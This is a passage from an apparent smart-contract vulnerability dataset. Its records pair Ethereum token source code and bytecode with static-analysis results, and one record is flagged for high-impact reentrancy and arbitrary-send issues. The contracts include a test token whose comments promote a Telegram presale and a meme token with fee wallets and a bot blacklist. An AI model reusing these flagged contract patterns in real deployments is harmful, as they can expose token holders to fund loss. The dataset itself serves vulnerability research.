828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e43936c9918430bbd33798cb9c13935210ce2de50ac8dbd822a9be4e4246773a64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,192
0x1e87a37a67e7059caa9340a79214b90c0661ac0d
pragma solidity ^0.5.7; // This is a test token for Grey.holdings. Official token hasn't been released yet. Presale live in our Telegram // Official website: https://grey.holdings // Official Twitter: https://twitter.com/_Greyholdings_ // Official Telegram: https://t.me/Grey_holdings /* /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ /** * @dev See {IERC20-allowance}. */ /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ /* function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ /* function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ /* function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ /* function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ /* function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ /* function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ /* function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ /*function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ /* function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ /* function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ /* function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract GovernedMinterRole is Module { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor(address _nexus) internal Module(_nexus) { } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyGovernor { _addMinter(account); } function removeMinter(address account) public onlyGovernor { _removeMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * @dev Returns the name of the token. */ /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract GreyTest { // Track how many tokens are owned by each address. mapping (address => uint256) public balanceOf; // Modify this section string public name = "t.me/Grey_holdings"; string public symbol = "GREYTEST"; uint8 public decimals = 0; uint256 public totalSupply = 50000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { // Initially assign all tokens to the contract's creator. balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461022557806370a082311461024957806395d89b41146102a1578063a9059cbb14610324578063dd62ed3e1461038a57610093565b806306fdde0314610098578063095ea7b31461011b57806318160ddd1461018157806323b872dd1461019f575b600080fd5b6100a0610402565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101676004803603604081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104a0565b604051808215151515815260200191505060405180910390f35b610189610592565b6040518082815260200191505060405180910390f35b61020b600480360360608110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610598565b604051808215151515815260200191505060405180910390f35b61022d610800565b604051808260ff1660ff16815260200191505060405180910390f35b61028b6004803603602081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610813565b6040518082815260200191505060405180910390f35b6102a961082b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e95780820151818401526020810190506102ce565b50505050905090810190601f1680156103165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103706004803603604081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c9565b604051808215151515815260200191505060405180910390f35b6103ec600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1d565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e557600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066e57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560205281600052604060002060205280600052604060002060009150915050548156fea165627a7a72305820898cedab632cbab7305631672e5d390f7bf083b1257314df0eabb29c314ca5b00029
{"success": true, "error": null, "results": {}}
7,193
0x0027cbade7726996c950d6ff0987e7b94549485e
/** *Submitted for verification at Etherscan.io on 2021-07-04 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BlessAmerica is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string public constant _name = "Bless America Doge"; string public constant _symbol = "BLESS 🇺🇸"; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap 